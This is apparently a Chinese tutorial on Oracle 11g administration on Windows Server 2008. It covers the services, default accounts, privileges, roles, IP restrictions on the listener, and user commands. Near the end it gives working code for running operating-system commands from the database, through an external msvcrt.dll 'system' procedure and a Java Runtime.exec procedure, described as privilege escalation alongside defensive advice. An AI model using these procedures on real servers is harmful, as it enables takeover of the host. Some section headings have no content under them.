操作系统:window server 2008 x64 oracle:oracle 11.2.0.1.0
在window server 2008中安装的oracle 11g总共会有七个服务,这七个服务的含义分别为:
Oracle卷映射拷贝写入服务,VSS(Volume Shadow Copy Service)能够让存储基础设备(比如磁盘,阵列等)创建高保真的时间点映像,即映射拷贝(shadow copy)。它可以在多卷或者单个卷上创建映射拷贝,同时不会影响到系统的系统能。(非必须启动)
Oracle数据库控制台服务,orcl是Oracle的实例标识,默认的实例为orcl。在运行Enterprise Manager(企业管理器OEM)的时候,需要启动这个服务。(非必须启动)
Oracle作业调度(定时器)服务,ORCL是Oracle实例标识。(非必须启动)
服务端控制。该服务允许数据库充当一个微软事务服务器MTS、COM/COM+对象和分布式环境下的事务的资源管理器。(非必须启动)
Oracle数据库.NET扩展服务的一部分。 (非必须启动)
监听器服务,服务只有在数据库需要远程访问的时候才需要。(非必须启动,但是供外部访问则必须启动)。
数据库服务(数据库实例),是Oracle核心服务该服务,是数据库启动的基础, 只有该服务启动,Oracle数据库才能正常启动。(必须启动)
那么在开发的时候到底需要启动哪些服务呢?
对新手来说,要是只用Oracle自带的sql*plus的话,只要启动OracleServiceORCL即可,要是使用PL/SQL Developer等第三方工具的话,OracleOraDb11g_home1TNSListener服务也要开启。OracleDBConsoleorcl是进入基于web的EM必须开启的,其余服务很少用。
在oracle11g安装后,会有很多系统默认账号,除了4个外,其他的都处于锁定状态,如无特殊用途,请不要打开。另外4个分别为:
以上4个账户的密码均为安装时候设置的密码,由于一般情况下,DBSNMP和SYSMAN用户不会被使用而被遗漏,建议锁定。
oracle权限分为系统权限和对象权限,当刚刚建立用户时,用户没有任何权限,也不能执行任何操作。如果要执行某种特定的数据库操作,则必须为其授予系统的权限。如果用户要访问其他方案的对象,则必须为其授予对象的权限。
系统权限是指执行特定类型Sql命令的权利,它用于控制用户可以执行的一个或是一组数据库操作。比如当用户具有create table权限是,可以在其方案中建表,当用户具有create any table权限时,可以在任何方案中建表。Oracle提供了100多种系统权限。
常见的系统权限见下表:
create session | 连接数据库 |
create view | 创建视图 |
create procedure | 创建过程、函数、包 |
create cluster | 建簇 |
create table | 创建表 |
create public synonym | 创建同义词 |
create trigger | 创建触发器 |
常见的对象权限见下表:
alter | 修改表结构 |
delete | 删除数据 |
select | 查询数据 |
insert | 添加数据 |
update | 修改数据 |
index | 在表上建立索引 |
references | 引用 |
execute | 执行 |
注:可以用all代替select, update, insert, alter, index, delete
oracle角色分为系统角色和自定义角色,自定义角色可以根据需要指定相应的权限,系统角色主要介绍下面3个:
DBA: 拥有全部特权,是系统最高权限,只有DBA才可以创建数据库结构。
RESOURCE:拥有Resource权限的用户只可以创建实体,不可以创建数据库结构。
CONNECT:拥有Connect权限的用户只可以登录,不可以创建实体和数据库结构。
对于普通用户:授予connect, resource角色。
对于DBA管理用户:授予connect,resource, dba角色。
方案一:
方案二:
方法一:
防火墙指定,windows中通过windows防火墙中指定监听端口的访问ip,linux中通过iptables指定监听端口的访问ip。
方法二:
windows中可通过ipsec指定监听端口的访问ip。
方法三:
可通过oracle的监听器中指定可访问的ip 在服务器上的文件$ORACLE_HOME/network/admin/sqlnet.ora中设置以下行:
tcp.validnode_checking = yes
允许访问的ip
tcp.invited_nodes = (ip1,ip2…)
不允许访问的ip
tcp.excluded_nodes=(ip1,ip2,……)
create or replace library exec_shell as '$ORACLE_HOME\bin\msvcrt.dll'; create or replace procedure execmd (command in char) is external name "system" library exec_shell language c; / exec execmd('net user >netaaa.txt');
CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "JAVACMD" AS import java.lang.*; import java.io.*; public class JAVACMD { public static void execCommand (String command) throws IOException { Runtime.getRuntime().exec(command); } }; / CREATE OR REPLACE PROCEDURE JAVACMDPROC (p_command IN VARCHAR2) AS LANGUAGE JAVA NAME 'JAVACMD.execCommand (java.lang.String)'; / exec javacmdproc('cmd.exe /c net user > netaaa.txt');
以上两种方法如果使用sys均可以提权成功,而普通权限用户是无法完成上面的操作的。所以防御源头还是只能对sys特权账户的管理,但是如果真的特权账户被黑客获取,此时的方法也只有使用低权限的数据库进程账户,以及控制进程账户对磁盘的权限,这样操作能将黑客能够操作的权限降到最低。 至于先对低权限的oracle账户提升为dba权限,然后进行系统提权的操作本文不讨论,也请大牛提供更好的方法。
conn sys/mima@orcl as sysdba;
create user yonghuming identified by mima;
grant connect, resource to yonghuming; grant create session to yonghuming; alter user yonghuming quota unlimited on USERS; grant unlimited tablespace to yonghuming; grant select on testable to yonghuming;
revoke connect , resource from yonghuming;
alter user yonghuming lock; alter user yonghuming unlock; drop user yonghuming cascade;
下一篇